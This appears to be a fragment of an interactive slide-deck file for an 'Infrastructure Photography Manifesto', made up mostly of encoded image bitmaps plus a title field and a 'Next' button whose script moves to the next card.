AEAAAgAIIQAEkggIgEAAEQIiQSiSnomSUsgQSGEMEhCOSEIqJJIkzEZMk2n773///7/7///UwgTEKhJEkgAAQRAECCAQIQhJIACCIhIQiQRAgAimZIfyZJAShIICLSJEbkSJiiSZWQpkybJJ//959///////0QmSEiBJJMQEIQABAACAQQBCAAkkIIBAhCBAEAkiMy1hPIyNIiEhmIyJIm4kpFOZJUNjKTJMlqfe/f//7/f//8IkSEiFISkkAIQIIACAAQAEEJJAAQgRBAEEEgQgAIiRGI/SYSgkGCEskSgukiRUQkQsNJsmSbI6P/+////v//fokkkiUQxJIJAAAIAgAggEIAQIEkhCRBBIESCBAIhMxkZieRkJhMYkTkSBLkkTJNpZoYzEmaYJm3d5////////yRIkiRJJJhgACCAEBBAgEAJBIQACEACCAkAIIEQiEzFBEo9MxFIhiRxIkk8kyIohikzJJMkwzHvf/3/////9/9JJkkkkQiDBACCCAEBAAICAEARJIISSIJAIwggAAJIUmJmx5JRJKEklJkheJCSZjKJSMzMmTTJ/x//////////QiEkyRTKZBAQAACEBAkICEQSQAAggIAgEghDCEhAkxKYEJj5nJIpEjTEhPpMkZGS1kySYspNt97H////////fxKZJhJkIhCAgAggABAAAEAQgAiSCCQkCQCAEEICEJCIgRpmTyJJCMmSJJE5IkwZTBCzMxkiyZDedn7///////+QhJlEiSSSIgIAAhBAQiEBACSCAIIBBMBkMgQQgIQkoiSLEzTrJMYkWZJFPJJJRkmmgkklNJd6++k/////++//TGSBaZmRIAgAAQABAQgECCIAEEggkkASAQJhBCQhJCQQITCTPrIxJFkSQfiVo0SyZFlMzJQzev/pv////P///0ESZiZkWQkAICAQQAgAQCCAiQECCAAZBJBICGEBCBMJQxTMyRPpiRM8ZJB6RCwxhhlNMlKGi8n//n///9ev//4SQhCQRkRERAAAAQQgQQiCCCBIEIJJAEAGAYYISEJISAhGCSzJDkjImokm+kmRmlmLIYMSaMt9/3L////f/+//hCkSQzKSEBCEBEAAgQgAAAIEAgAgAEQZIJAwggIQiJJICWYiZNP2JJIpLLkpMkJBYKxsqSk0///9/////9///yEIQiiZmIKAAIAEEAQCIhEgQSBCCSQRIAgSAJCQhCIAQoExmRY0vJU5hJE5JkpMthySSKmTD+6/9T///9////9IkgiABGSSIhAAAEEQQAiECQgIEEABAAJCQkwkJCMRJRCSCUUhBIPxXJJE/JDJpIjGUxMWTM04ufz//////3f/SAChFNZERAgAERAAAREAIIAiQgQEkEiQEAhDCSMIREASEsxRmVMyX9ZiY7+LJDMpMUzUxGBl/99+n3///////4JIDEIRkwiBIgABCEAERAgkgBCAgAQCBISBEEkYQJIYgkAymEZSTIR+eSo4ZiZIpkkgkjGXEu///n////b/9/sgAxBIJDCiJABCIAISIBECABEEIhJBIEAgJERCQRIQgiRNAqZIjJGll/kAuxCNipKSrSssETL//////////f//DJBCAYzMJECIAAIgAIkAQJJEQQgAEAkSCQIRMkwgRCCBEWwhIqEmMkwa2Z+SzCJRliUhQ2lMv2v/v///v/7//5AECKQSRkkYgIhAAQgASBAACBBAiQSAAIBIiQQhiQSIGJAhmTIzSIhrnjxYgAQQTElQzFkmRTf9///P3/t///8iYSEIQnGZJiQABBBCRAMLKYIEEiBAJIgkAGBJggIhCUImlkaMjFlnDiyFnpkjgYJhTjKMkLF1//9/3///////CAgREkkMZIEhERBAABEkQCIxoQAEEgAiASQGIBhIiSEBIREwoYklETTpIx5MmGwSFiGGopaM//f9/////9///4ECREERIwmySARABIkAEBCEBAhJEQCSAJABEIRBABBENEllJJhihJjD8yOZIpSEZJKUZGJiZv/+9/t///9///0kYQhMRpiyGoJAAgAgSMJGEUhIgIBkIJQEkEESRCREUgJIjMxGFnJmG/gLXaZlkwyoTBkZCTn//3vv//9/////IQxJESCElkGwEhBIBAIIQMkjIiYmBIkRIAQkSJCBBQjJJjITMZEKQiP+nJwxCTJhiQmYTNnZf/n/f////////4gQQkSZJUTUBICBAREgIRgiJCQgSJCEQIkhCIEKEDBJESFCYkkpKZjD4yCaSWZJJFKyZ74Hveu/673///9///8KgzIkhGExFMggIABACQQDCJGFiQhJMIwACEIkSISCQiSZTIyMZMYAfHEi2soQjJpSBAGhMb3r////////3/+/QKCEkmSYkyMJCQQkBIJEpEkSMEkjCQIhMkIREiEgCJKIhjGRoxSMAP70glwkzLKSlEmbzNvz/9/////d/v///1EYJJITBkyIYEAQAIAgIIiSSIpEkKRJIgAQiECUSkkQSzCGUjDCOTZ+MtBdlSMCRJMgZnpn/yH7f////+7///8ERkkkkGFIkgQSQRISDIoSJKSJMkwkkRjJhCIskgCBJSBJmEyMIYSBAwoFPFEwaTFIkgn6P/c3j///////////pCESSSaZMkSRAABAAIAQkSSTMQkjEiTBCCEEgiKxJIkmykmJYz1SzLDJIF0KTYyMZMhNP9Pu3+WP+//+//9//yMpJJJIkiUkkEkIAIgjESSSSEZJIMkkDCIIUJEkhBJIkiRksgOSSjKMsaJc4oQyQxUmSWf/2N/yt8f7//v///9IiMkkmUmMkkQAQggiEEREkkpIxkwkkyKIxhIkkQjJJhElEgScyKSCSQwI3hiywliSMfM8/9883b//H//v///7EJISSSUkUkkEkhCCAIREkkklmTDJJJCSSRCEiJJiCJDMkpLR9iYktGNExR0mEhmGYo/8YY677dF///8P/b///5ZGZJJEpkUkMAAAIJAhEiJJMSUZJpJMkSRBJEpIkmJJAlJkHyEjGRGSUyGdIclEMQymz55+py/nTf///4f///9BKSSSUhmZkkMkiQgGEhEpJMpkxjCSQkySTEkiSQkSSTFJCPmMyMNKFJggfMwpUyTJIe3yzoW7/Jn/////H///KSGSSRJAYkkIACBCQMJEiSYKSiTJZTJCSSJJJJJkkSSMJIvEUhiYSmSFhF4SJCjKMk3+/njUr/3H////ff///6SUSWSJlgxJIJIEEBAISJJJZZmpDQyJMkkiIkkkkkySQpR8FFJmJJGJMTDdMsamGSSX///Pizgbu/////8b//+UlE0SqEmxJIYAkQSEJIpEmTRkSmSyqREkmZJJJJJCSTJB4ZMJgmUkJMpAvUkYkSTJNe//w/uT+AM38/AIM///UmMgmKZhBqSQZABAIyEiSSSJJlKSgiTNJIRJJJJJMkkkTghiZDKRKlIIhbyJIkliEkTf/98H//59///8D////0sJKqYklmCSSQEkEggJJJlGyzKSWNlEIJJkSSSSSQkmSfNODJJIkomSZSGeJKSSGSTIfv//4j8H//8B//////9o2UohkkiZGSSQAQCQyJEkmGTJmUYUUyZSEySSSSTJIIzIYaEZikpkJSVEfWSUlIVlI/z/9J3P3YAH//+/////ikZRTFMpjGSSFMhIRCYSRmM0mSSRJJARCZCSSSSSJJljJJEpRCSREkkQRd0SSUWkESyf3/bCb///+////////7MwlUlMhmMEkkICAwUQyJEZkyZmJMkJAKhMkkkkkpSFNDMWSkTRJJLI0yB8kyMwMpZBP//2cn///////f/+//+RJqQzINARZkkoMKQwxCZplElkkUgSQkgmQEkkkkySZJmISJIzEypkJgyIXkyYiwjAmU3/r/2f/9//v/f/t///TMkphJsZlDFJJYQQghMhCmVsmRRLIBACAREJJJJBIiSiSYkkiEiJCSFggz1AhIjLLKZMf//8m/+//3//f73//2YzJmyQZmaJMpAJQhkgmZJJJpNJgAkEgIAAJJJJMimSGEYySZJKRJmZEyR8MmRkkCMgkz///3/////v//////+RjJJCZkEIyIZKYgjBLIZlJpFkYjCAQBAkgAABJIrISmowhJJJklJkRJRgzoyTEiWQTpF///cX////////////NMjZmQmZWSZJIxKkDIJkLLDNGRYEJBJCAAQAASSQEyEKiSSSSSSSBESJCKyhGJKuTR5k3//7+////////v///0ozCSWyJkUk0SyQkSCSUYiNIkWRkQCAAJIAAAABJkyVMklZJJJJJNMyYkktJkSkj4luDHz///v+///////////LJGSkJKSkkhSApkkmTJZTITJkSEAAAAgAEEIEAElgkNFMQkkkkkkQiRTBDRjEiSRyd6M3///+f///////////MU00mYyZKlMmWikkkSGIxEpMkkoIgQAgSAEAEBQREkoxIiZJJJJJJkkRJCzCMlky6P7w//73/X///3//////f0TRgxJjQxJMoRLJJJEkaSzIgRIhIhAIAQCAAB8EBJMklJKRJJJJJIkkyiQuJIkE3kt+X/bv/749//ff///////MkljGMFjRiJkkEkkklgYiJLNJJAAAAIAABAPg0CIIkSSRJJJJJJJhJCKCbSkkpCeQFf0/++7AF///////////MypGMY2JDDJEyUSSSJGwySQMSEDJAEAAEgAeA2AAQksiTEiSSSSSFJMkkg0SRjMlxZ+83z//2R///u//////3yJJkSRIJmNFJBJUkkpIJRETQSSSAEQABEARwAMBBAEgmkKTJJJJJMSQlEDORJlIl3ReYT+//80//9t////////MlGzMy2IkTJmSIkkiSoxEwFIiACQABAAAHABICAAIJIkyJEkkkkkpJJMkXpkhCJ+ZCOjv+/v7v/b5+///////EaUCEiIZmTJCSYpJJJJJKCwSEkkBCIBAgfAJABAhAJZkiUkSSSSSIkkghU4iTKZe0IDn/f//9/////d//////2Yk2bMykRKCZkhRJJEkUksBiMQgSCAIAAwAABAAACAREkkSZJJJJJJJLJAeyJIhN+I/o7s//9/7/7fv//////9IkiSIyMZkqREmTJJMSZJAUCEJBAIBAAgQAAQCAhICSRJEkgkkkkkRJIJCbhMiSSXbOed////717u/////////mZmKSQxIiSkZISJJIxIklIQkIMSQQAEBgAAhICAAQCTJMkmSSSSSTJJSSS8kSRjB3u3////////7//f/f////4RkYlUzMpJGZJkiSSDEiSQhBJIQAAQgeABAgAQAQAQEJIkkRJJJJKJJESCeiRFGH3//pv////7r//////////9mBjSQwQxkkISEmSSaMSJBCFBEAkSACQABAgCAQACASSSJJFEkkkkiSSSSXpJMQQ/7/sJ////v////////////MbGFJhzBDKyZMkSSQgkon8IDCSAQIDgACAgACAQIEAESZJMSSSSSSSSKQ25SQjFh7v8v5/////3+f////////4kSSUlCNrIjIkkkkkzKSf/4iCAJAg0AAIAABCEAAQEkyRJIjJJJJJEkkkg+STKM83/v+9//53////+//9////+KTGiZSSCDEGZJIySRIkT0fiCEgEiQASQQQACACIQIACSSSKEkkkkkkkSSlokIiF///Z9z//3//73/////////ZKGGJDTLKM0RJJhJJCSQMR4GEJQCgIQAQQAgAiAAIAkkiSIkSSSSSJJJIJakySMd//23//+///9//////////xSaMZKEkGSJEZJEkkmRCwD4kEIAmCIQCAAJAQgAQICASGSCSRJJJJJJIkQWJCRgH/v313///////////3////+SQkjKYyZFMsxT0iSSSSBMP4EiRyAIAIEEAAQAQhICEgIQEJJEkkkkSSSRNxMklIu///v///f//7//////////oyzKIRhJmQQj3/LJJEiEQT+kiBgEgIQgEEAgIAAAIACwgwSSSISSSSSRIzdIkhB6f////////////////7///0yJJJzEyCJlJH/0EkkSIRCfiA0gkCQhCIASAAIIRAgEBCBASSIkJJIkkkAfJJJCsnNzvv/////9//////////8QsiUiJiZIkZV//SSSEIgEn5HQCAIBCAIiAISAQQCAkEEIEiSQASSSkkiRDyRJIMu433///+///+//////////pgSZIkkhlZRBv/kkkMRIoD//AIZIkECQAIgQEQQIJAEQAgCSTJBJJJJJIV9JJJkP/////////////////9/7/YllQkzJGJEkWP/wySQFfgkPwCSQAAQSBEghAQQAAQAABJCICQAEEkhIBEQXEiSCLP/3////////9+////////9ZGSTEkkZPIwb/9hJJMP/gf4SEITJBAEECBEQgIJASJJAQIkSyQQQSQSJBj5KSYhv77/////v/////////f/9/EkIsMiTJJ0il/+f8kwP/xk8QIQhCJEgQIJAQCIgCQIAiRgAQghBJgRAIkC8kkhjX//7///3//////////////6SkwwkkIS+Uqn///if6/AgPQwhCCIACBIhCAkICSAgBCBCRAhiEEGQEgASHJEmEP//9//3//////f////////uJLBDJSZz//Vj///+P7wGcmwhCJIIZkIAFCMgQQACCEEEABElAIQQQgCJBZxEIQ3e/37f///7+/////////3//SQM0JJJL///v/37//8P/8A8gJIhIQAAiRCEBBBEkIIQSZEABBAhBAiIIES9JIhA///9/3/9/////////////32TQxZIyQ/3//1/3//wP3+VvJYBJESZJCCCEJGEkAQgghAQQkDECEkgIgQAPCEiEu//33/////////////////8SGRJJmTX///O/+/+D/5/rCwQZESSIAAEIkiCJAlBCAiERhASCZIgBACBGdyIRIF/+/9//7///////////////kmRISf8G3/fn///wv/993o9QQRIiEySQQhCJBFCGERAJQiAgiARhMEQIARcAhPMf/////////v/7//v//////4kFJSb/yN3///rPh/3/xPyvEgRCCMUgBBBEhFCUiIRERBACiCSRBIYRAiEXECHMf//////v//////////////9kkZGR/Hf/////wf////58KyKkKMIMiSEJJDCGIkgkgRGMkUIgkRMIgECAXwRJBC/////////////3////////EmZKTf8P////4R//////+Q9IIYgQKMAIYiMCIQkiSJgEIAVYik9/e/N8FCdBAHW/////f////////f///////5IQSE3uSH///j////////9bkQgTFSZmQgIQSSjEIhIiRJJ/OBF8+3fvuQSPECT1//f9//v//////+f///////9JkyU/vf9//4f///7///l+W/8iQMEM4BCQxJEKMZmFIBJCH/ZEG/f++rhCKwSEd3////+//////////////+//SEiRN///3/D/793//+/Wfn///8wISVkEEQkkwIREZkyJKICwIn379//5FDMgEd2X////////////////////3yZIkn///fUD/7/n/7//evf3/5/xJjcYwwkiSCQSERvMcSRu0Qmfn9+92QSTCUDKjf//////////////////f/8hJkl//v4B////7//9+P2z9/9/4kKG+hhiJIMTTs8f+wyRANxJ7///73xCC4EL7z/////////////////////fmSEk29eAf/7///7/d+//v/v+//w2yUw8BJEwyGbm//pr+jv2H2////+fEsuQIZX/////////////3ff//////4SZJ3uAP////////8/t///v/v/ekHHdhzBJDCT//83/206/ex/+/9///IgHhIx/39//////+///////////v/9k9JPgT//f///////f////7/e/sc9nohitCMMV/f+/7/v3je5/3/v//3AjM4Ig/P/////v////f////////f//E3pfJ5///////+///f7///J///c9p+ih5mYQ2p+v///v/W//23////tsghOYQn///f//////////////9//+/0j+Af////////////z/f//////9nsocniIQTx6/+99fvt/7//ff///+kJkzgcn/v////////////////7////9Lw5///+e///f/2///////7/9//U+Z1w76k/P339////7/u/3f9///9xIES6cJf3//v///////////////////o/+f/////9///////3/v//P3f95n+bZg35/6/3/39v+9/7//f/7///dtRIe/z////3//////+/////////v//yZ//////d///////f//7///////7bzHjDvd/////9/+v/7/+932v//72xEzqf///////////9v//7////7/////////vf//////9///+//9z//v87/9+L2/7/u//v/39+////f/3/v+3OACG/77//////////9////+///9////+///7/z////////7////7///v///ft5R+/v/////7/f//+f/u/v/f//kSM+H3///9///////3////8////////////v3/////////f/r///3/958//P3xS2d/f/7/3/7/////7/////9mCCHm93//////////////v////7///9////O7////////ft/f/3/939b39//7yd/////9///3/////93////7/4SN453f//////f////v///lf/f////f/////37/////+34T//////8Xzr+f/gR//v3f/+2//e/v///9//////TGDeP57//+///////ff/93f////9//7//////////////b+v/9//u////998/53f93v////nf///9/fz//////9gP3//////////////////f///////v///9/////+////////////733v/v//d//v/8/////9//97+/v////+/4x/Z//7/9//////////u//f7///////7////////7//////////f/7/f/f/P/37//////L//////77f7/////6F//+//////////////v////////////////////////v+f//v/////9///v7u//////N/8/9//P/v9/x///9/0TnP/f///////////+//++7/7/////////+///7/////fP//7/7/9//+///f////7///f//n/u///ve////v30N+v//7/+//////+///3////v////3////+//////////j///////+7/7/v///37Zf/3//2/fv/t//v7///f/zC//////37////////////////////////+//+//////vf/////3v//9/9/9//v+3///f7//+v8/9//3//fvv/xL5P///////v////e+/////////////v/+//9///////8/////v/////////f/v////////u/9//5//f////98S9//e/f///////+///////7///////////////////u/f///v+///f9/////+/3///////O/3v7f////////+g////+////6///////3v///9///////////////////7f/7//////P9+f//+d//f//////f///3/72///////ynhl3++f///////v///v////////////3//////////+5/9///3//v/////P//////////3t/////n/7r9///8J///3////////3/9///v/////////f///////////////6f/f+///7+////f/7//9/9//5vf///tvn/K7/f/7hf/////D//37//8xAB//////+/3///////////////9///7/1//////7/vzj95//2/////z///v/zP+9v7/9vzD//9/78AAH//9////9///////////////////////////////3////f/7//u9/////9+//v7/739n//b////8H/f+////wP/+//////3//////f/////////////+///v/f////7//z//7//8v/9//f7//+u/+4//n///6//3eFP////+z/////9//////////////3v///////+/////f//////v7/3///////7////+/v/79b/v///93k/v//wX////////////////////////////////3////////8//////v////9//f+//vf/+////qe//x///99vfe//8m//3/////////////v////////////////////////mff//////f//9f9//f///97vf+/+jg97//8/78//3P/In////////////////////9////////////////////5//////d//7////v379/7//3/+77T/97/////+f///w1/v/+///////////////////f////////+/////3///3f//f/////5//7/+/1///5//3/n8Nvf/////fv//38Mf//+/7/////////////f////////////////////////////+/77///+/////v7///5393///////3/Rv/3/AX9/5//v///+/////ff//ffv////////////////+////3//v/9///+///f/+/3//691//fGz/+///f33////zt+///+/////////v//3f////////v///////////////3////3///v///36///+/3/c/r9wP///v/f//f/n/8Ke////v///////////v/7//////////////7////////7///7//////////v//93/+/ovv7/////9/9//3///cv8///////f/f+///////////+/////3/////v///++///////v///////33/7/+f7P7+/d6///////33v+/9xJ///////+//v/////3/97////f//////////3//////////7////////+/u////3xrwb9vv////////9///78Tf/////////////7///6///3///////////v////////3////53/3/7/////7/+/TL8il///f///////99v3vSX///9///////////////////7/////////3//////+//7///9///////3/////9+67P73v///f/3////////x1//+9//////v////6/3////////////////////////v////////v////f//////1cL/9//v//93////////+Zf//v/////3/////v//////////////////////////+///f27///////f+////0dNED+3f//////////9//3iX//3//////+///3/f/+//////////////////f///////v///v///////////3/wrzTP5///////////7///5t//t///////f///7//9/////////////////f/3///v/3/7//////////7/3///tONnv9f///9///////+3/6K///+/////3////z+////////////////37///////////+//t/////////v7+f/on//+9v5//t//////////ov//////f///////+/////////////////////////////7////////////////+9f7/v///////f///7b///4T////////////////////////v//////////////////3v///7//////7/f////8d/fv////f////////3//+kf//////////////////////////3/7//////+//////////////////n////////+///////////////////sz/////v/+////////9/////////7/+///////////////////e//////3//////t//7///v//3///////2/f5C///////////////7//////////9//////7////9////v///////f//////7//87/f////////v//////fe//Sv////////3///f////v/////////////////7///////////////////////3//df/t/////+T/////973//kr/9/v/////v//v////////////////////////////////////////////f//+/f/////////z///////v//5G//3////9///////////////////////////9////////////3//////+7///////f///////////////i//+nP/////////////////////////////////////7////9//////////////////+v+7////////////v/7///sb////////////////3//////////////////////////////////////+////9/3////////////////////4G///+///////v/////9//////////////////////////////3///////3///////v///////9/////d9///+k//v//X/////////////////////////////f/////////////3/////////////N7/////////vf//+f////kr/+/3/////////////////////////////9////+9//////////+///3////ve//f//////////////7//9/4s//////////7//////+/v////////////////3///////////3////v/////////v////9/////9////v///+p/////f/////+////////////////////////////////v////////////9/////y////////////////+///p3////3////9//////////////////////////9//////////+/////////+////+///////////////3+//54y/+/////////7////////v//////////////9///9///7//9////////v///////v//////////3////+///eIv7//////////////////3//////////f////f///////////9///////////////////3///7/////f/v//3gz//////////////3/7///////////////////3///////7/////v////+///////////////+//////3/v//6V//////////////9/////////////////////////////////v/3/////////////////////7/9////59//+Vf//////////////////9/////////////7///////3///////////////////////v//////////////9///hX////9/////////////////////////////+///9/////////f//////////////////////+////////7/vqv///vv///v////+/////v/////////9//////////////////3/////////f///////////////7////////+nP////////////////v///////////////////7///v///////3///////////3////9////////////3////hf////////////////////////9////////////f//7//////+//////////////////////////vv/9/////6j//+/////////////////////////////+//////////////////////////////////////////////7///+nP///9/////////////f////////f///////////////////////////////////////////////////+////G7///v////7//////////////////////////////////////+//////////////////////////////f////3t/////////9/////////////////////////////7//////////////////////////////////3v//9/3///nf//////////////////+////9////////////////9/////////////////////////////////99/7//f//jv////////////////////////////////////////////++/////////////////////////////f//7/77/85/////////////////////////////////////////////v//////////////////////////////////++/+6f///////////////////////////////////////////////7////////////////////f//////////3/+/z////////////////////////////////////////////////////////3/////////////////////////n/m3+///v////////v+///////////////////////////9///////////3///////////////////////fu//+/fv////////////////////3////////////////////////////////////////////////////////f/+//913//////////////7///////////////f/////////9////////////////3///////////////////////99+z//////////////+/////////////////////////////////v//////////////////////////f////////M3+//////////////////////////////9/////////////3//////f/////////////////////////3f///zf/////////////////////////7/////+/7/9///////////////////////////////////f//7////////8Sff///////////////////////+/////////////+//////////////9///////////7//////////f///33/c////////////////7////////////7//////////////////3///////////////////////////////////43/////9///////////////////////////////3////////v/////////////////////////////////5n/6P////////v/////////7/////////////////////////////////////////////////////////////////y/+//9///////////////////////////////3///P///////v7/////////////7/////////////////5//zP///9////////////////////////////f///////////////+/////////////+/////////////////3//8ef///////+7///5/////////v///////9//////7/////////////v///3/////////////+//////////v//nP///////////7//v/////////////////////////////////////////////////////////////////7//3d//3//////7///////f///////////////////7+////////7////////v////3/////////////////////9Lf//3///////+//////////////////7////v////////////////f///////////////////////////9f//Wn//////////////////////////////////////////9////////////////////////////////////3//vyd////////////3/////////////////////////v/////////////////////////////////+///////v//8rf////////f//9/////////////////////////////9/////////////////////////////////////////q3////////////////////////////////f////////////////////3///////////////////////3/3fn/7N/////////////////////////////////////7+//7//+/////////////7////////////////////////9df/////3////////////////////////////////v////+/////////////+/////////////////////79//Zf/////////////////////////////////////9///f/////////////////////////////////////////z3/////////////////////////////v/////////////////////////////////////7/////////////v/8T//////////////////////////////////3////////////////////////////f///////7////////////Rv//////////////////////////////v/f/////////////////////////f///////////////////3/3//6n//////f/////////////////////v///+///3////3///3/////////////////////9/+/3/////v/f/f++7v/v////////v///////////P///+7v3//9/////////////////////9/////////////////////9////d/Vr//////////////////////97///////v////v/////9/////////////////////////////////d/f////7u///////////////////////f////////3//////+///+////2//////////////////+b//v///+8//f//fapv//////////v//////////////////5v9///1///////////f//////+/////////9//93/f///////v///fr////f//////7////////////v///////3/////7//+3/////////////////////////39/v////////////+7//9///////7/v///////////////v+f7v///zf/7////7/////////////7//+////1/7/vbv//+6/9////+2////v/////////////////////////7f3//395//////83//f////+3//f/////////7t/r3//////d////+e/////////////////////f//////3/7vf////X3/7////f//+37/v+3/91//////////9/b/9////+f9//7/ts///9///////////////////////3//v//f//9/+9////9//+/9////+//uv///9///+W//P5f////f/////+////f//3///////////////3////+//92/////r/99/v/5//+7+9/f7v/+7v3//1/v///5ffv+//////2///97+//9/////////+/////////////////+99///v7tu////v////v3/9/n7vt///7//9/v23/dLv///9/n9///zvv//f///////////////v/7/9///732/l/f//6Z/7d///vf//3/fm//tbufT//7v/e3/++HZb+///f/7v///f3/////////f///f/////3f///////n3/v7///7d/v5//97f//797/f//W7rb5/+/Pfv/8t+9ze//////vP//dnf/////++//////ff////8///////dv7d/////237W93//7/+77/7t//favTf/////evf/pybb//////9/+6/+t///f//3b//f/////////////7/777/nfP//9bP/V7//8z//zf8dvzvy3/nf///e83dv9bt6+vv/5//77////v//////3/v+/3/////////+/7////r//s/f//XvvczO//7+//e39+3//713zvv9P+Z3f//93Lv///////////n//////f///7X/v///////////f///b+vfv//33+N+e3/b+/+/2s1u1e/lvbfsf///3b7qh7e/////5/+7////f/////3/9/LX///////7v///3/fw==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[281,126],&#34;pos&#34;:[22,176],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;align&#34;:&#34;center&#34;,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;INFRASTRUCTURE\nPHOTOGRAPHY\nMANIFESTO&#34;],&#34;font&#34;:[&#34;&#34;,&#34;olympiad_title&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;&#xA;{script:home.0}&#xA;on click do&#xA;  go[&#34;Next&#34; &#34;SlideLeft&#34;]&#xA;end&#xA;{end}&#xA;&#xA;{card:card1}&#xA;image:&#34;%%IMG0AgABVn//9//3ff///////RP////9d/9nv/v//v/r////92ZnIcHgQ/nhAAAmH////TxvYAAAAAAAAAAAAAAAAAAAPwD///f//r9///////wf////31////v5//78+/8///djf4NCwFf6oIAAG2/9a3XXP4gAAAAAAAAAAAAAAAAAAB8A///3///b3/////+9j/////9//+f7jf//5ub////Ywh5AYAABv3/AAA/b/ux/4MpkAAAAAAHgAAAAAAAAAAAPgP//7///nv///////8/z///////u/6P/v/P4N/X/xMD/oGAAh93fkAAHO1v/f6/uUgAAAAAAMAAAAAAAAAAAB8D//+///m//f//////v///////7wtZ3v//4+Af///2BP/jwAIZ//gAAv89v/t3/Z1YAAAAAAIAAAAAAAAAAAAfg///f//+/h///////////////+6L3pvf/6OgH//roghvukACE728IAJ/nv/738xe2AAAAAALgAAAAAAAAAAAD4P///////p/7//////97//////AE+O09P6gkD7NzcAQCv7wBAwEfBAADff303e8r7QAAAAAI8AAAAAAAAAAAAfj//+////+///////f/X//////593eAn/+wOBpbYyEII74YAQgBFiIAP/9l8Q3/AsUAAAAAB7AAAAAAAAAAAAD4v//f///3ff/////////v///f7t/9wT//gGi9XSGwECX/8AEQAa5BAJ////4/foKQAAAAAAWoAAAAAAAAAAAAfP//3///+////f//d//v/////+//vcf7/aAAfE0jcCATfuQBEABBh4Cbf85eN3vwgABAAAAifAAAAAAAAAAAAHz7/////+59/H///////////n/7P4jR//30APdGE8qAABv8QiAAQHZAFb3rWB/vcAgAAAAAJsAAAAAAAAAAAAA/+//v///3//n/f///////////g/8LWf//2ICV8jqVAAAD9EIkAHB7IBa+uXgfv/gAACAAAdzgAAAAAAAAAAAAH///////9/7//////////////9f/j/n///4BF/kuDgDABHhCYaD/uhDs/77/G5vsMAAQAAX94AAAAAAAAAAAAA///7///////k//////////7///+p//f//9Ayd//ZABQBZ6Qh6rn+4Mf/f1y///P7lAAAAP9/AAAAAAAAAAAAAH///////7b/6P9////////+9//7qv/n///gYlF76wAYAAegK+8H/6L7o27f/v7dPLBAAABr+4AAAAAAAAAAAAB///n////+////f///////////zzT/+///oEB2K+8ABgABEG//x/fAPm38P3W+/9RHwIgAm3/gAAAAAAAAAAAAPf3//////Hv/+H/////////3//1l//3//4CA2TVeDOUAARBbjv/+SDW9/fvP7XzMI0AAAKf74AAAAAAAAAAAAB757////7////p//////////7lf7X/9cf8BAAnAiP/zQAMKV/P78kG99nvumf/+5uhHxsEOjzAAAAAAAAAAAAAO7/3///3////0f/////////w5X+wn//j/gwBiQJn/+8AAC35/9XMA7ef/+2f//SKvfaPB8K8AAAAAAAAAAAAAD8/X///+///9/P/////////8Yf/8p////4IAggCh//uAAAru//34gPe537z23+45//p/5vG9gAAAAAAAAAAAAA8f9///+/////7//////////DPv/s///f+GAPCI4/9/QALC7//72AA3b1//1n2Ke3e+b1PyB4CAAAAAAAAAAAAP3v////////////////////w0cv/7/////ACgifv7/+APqfn+9/+Aaen7v/+eD7qd7fpL2YGAAAAAAAAAAAAAD/v//////////v/2////////FPdf+f////wBIAC7/X3QCfCb33/9QE5/7v//P4/g7///p7uEkEAAAAAAAAAAAA37X////3///75/////////7n2/F3//////gAARI+//QAP9//Z/8yt2///t/8D/+L/3/7uVBAAAAAAAAAAAAAAP/33///////+Pb/v///////24HUZ9/////8WAsif/94BP/d+7/9wU07N35//AN/6f/+9kHQgAAAAAAAAAAAAAD9+v///////////7///////+CM+B////7///IAb///+Af/9b+//ID3r7//++BA3+NT27sAcAAAAAAAAAAAAAAA73//////////99v///////75Q/g////////wK/////gY/7Obf//s/P7+//9AAPP//9+gENEAAAAAAAAAAAAAAPv9////f////f1/b//////978C+W3//////8Ff77//aHv2xnX/f8/lf///PwADT55/+YBEGAAAAAAAAAAAAAAD/+////7/7/////3//////9D/gv/f///////iP6////wX+tfd/d8fnbXv/4cEALf/H/8BeOAAAAAAAAAAAAAAAe+79P////////ff///////x3eUfv//////+JD5/7//8D/2Ej9//ju73/9L0N+wn//f/7tO2gAAAAAAAAAAAAAC/u+////////vv3///////8H/8f7////7/9+R8LU///j/9mN/+Irv/1//+WB/6Fv/////zfgAAAAAAAAAAAAAA/m7P//////////////////tsvN//3/////egyH3//6yP8YPzJ//vJv3fvFjzFhZ///AGvZ4AAAAAAAAAAAAAAfzv////v/////++////3///n7/9///////wp6Av/v7/X/EDPfndvfun//n6//dA///4Ad2zAAAAAAAAAAAAAAH/v4//////////3/////////aR///t5////7wH8X//enP5v+/fd/ff/uz/fP+sSf3/uB2bwAAAAAAAAAAAAAAB97cf/////////33////+///0oe7/37////j8HJR///47jvrzd35+9nu/h9d/pzv//1AGPwAQAAAAAAAAAAAAA+Nff///f///+/7f///////9+WB8P//P///5/uAAf///ufvPn33b27/f9/7//8gv/v7oP7/AAQAAAAAAAAAAAAPP3f//////////+///////799A/H//3////f/4BH//729/ff3e//ft9t77s//YD9/0vNv8wAAAAAAAAAAAAAAD/7xv//7v///93f///////3ze1fef8+/////P74Xn/8n+zdtn3629/3777/9mPAffcf/4gAAAAAAAAAAAAAAAAyl5X//w/////9////////+/fznz//+f//////+Hs/5/m/t3vPP77zfbv329/bQHfuH//yAIAAAAAAAAAAAAAAMJ83///////97/////////3+/f2///2////z/5D//jtvtvvPu/dvv99+ff77/Z/vfj/7/gBAAAAAAAAAAAAAACTeO//e////+ft/v//////n/e////+/////+/GRv/Pu/vfO/Pu9+e3z39+3vu+3nf5P7rrAAAAQAAAAAAAAAAAFbW+f//f//+h//////////rms3//////////8di8/9tPdfbfO779/fvf2/e97/R//3/3/QAQAAAAAAAAAAAAAG+wn5/8/3//D//////////P/vP2//z/////s+H6T7N3fffffftvv29+9v+9739/3//v9/0AAQAIAAAAAAAAAACe8/+6/33/v1v//x////9//r77z////////v/jb7u97fbeec3Pfe/7372373v/79P///HTAAAAQAAAAAAAAAAA/0cY3/+//99f7/t/////f/7/98/f////////b/3u72+bu+/+/d95vvPv/f/f//t9/7f6YYAAAAAAAAAAAAAAAPtoLF/+7/+/ae//3////v6//z21p/7//////f3edu7a/2//87fb3++/+2//9///7z/+aCAAAA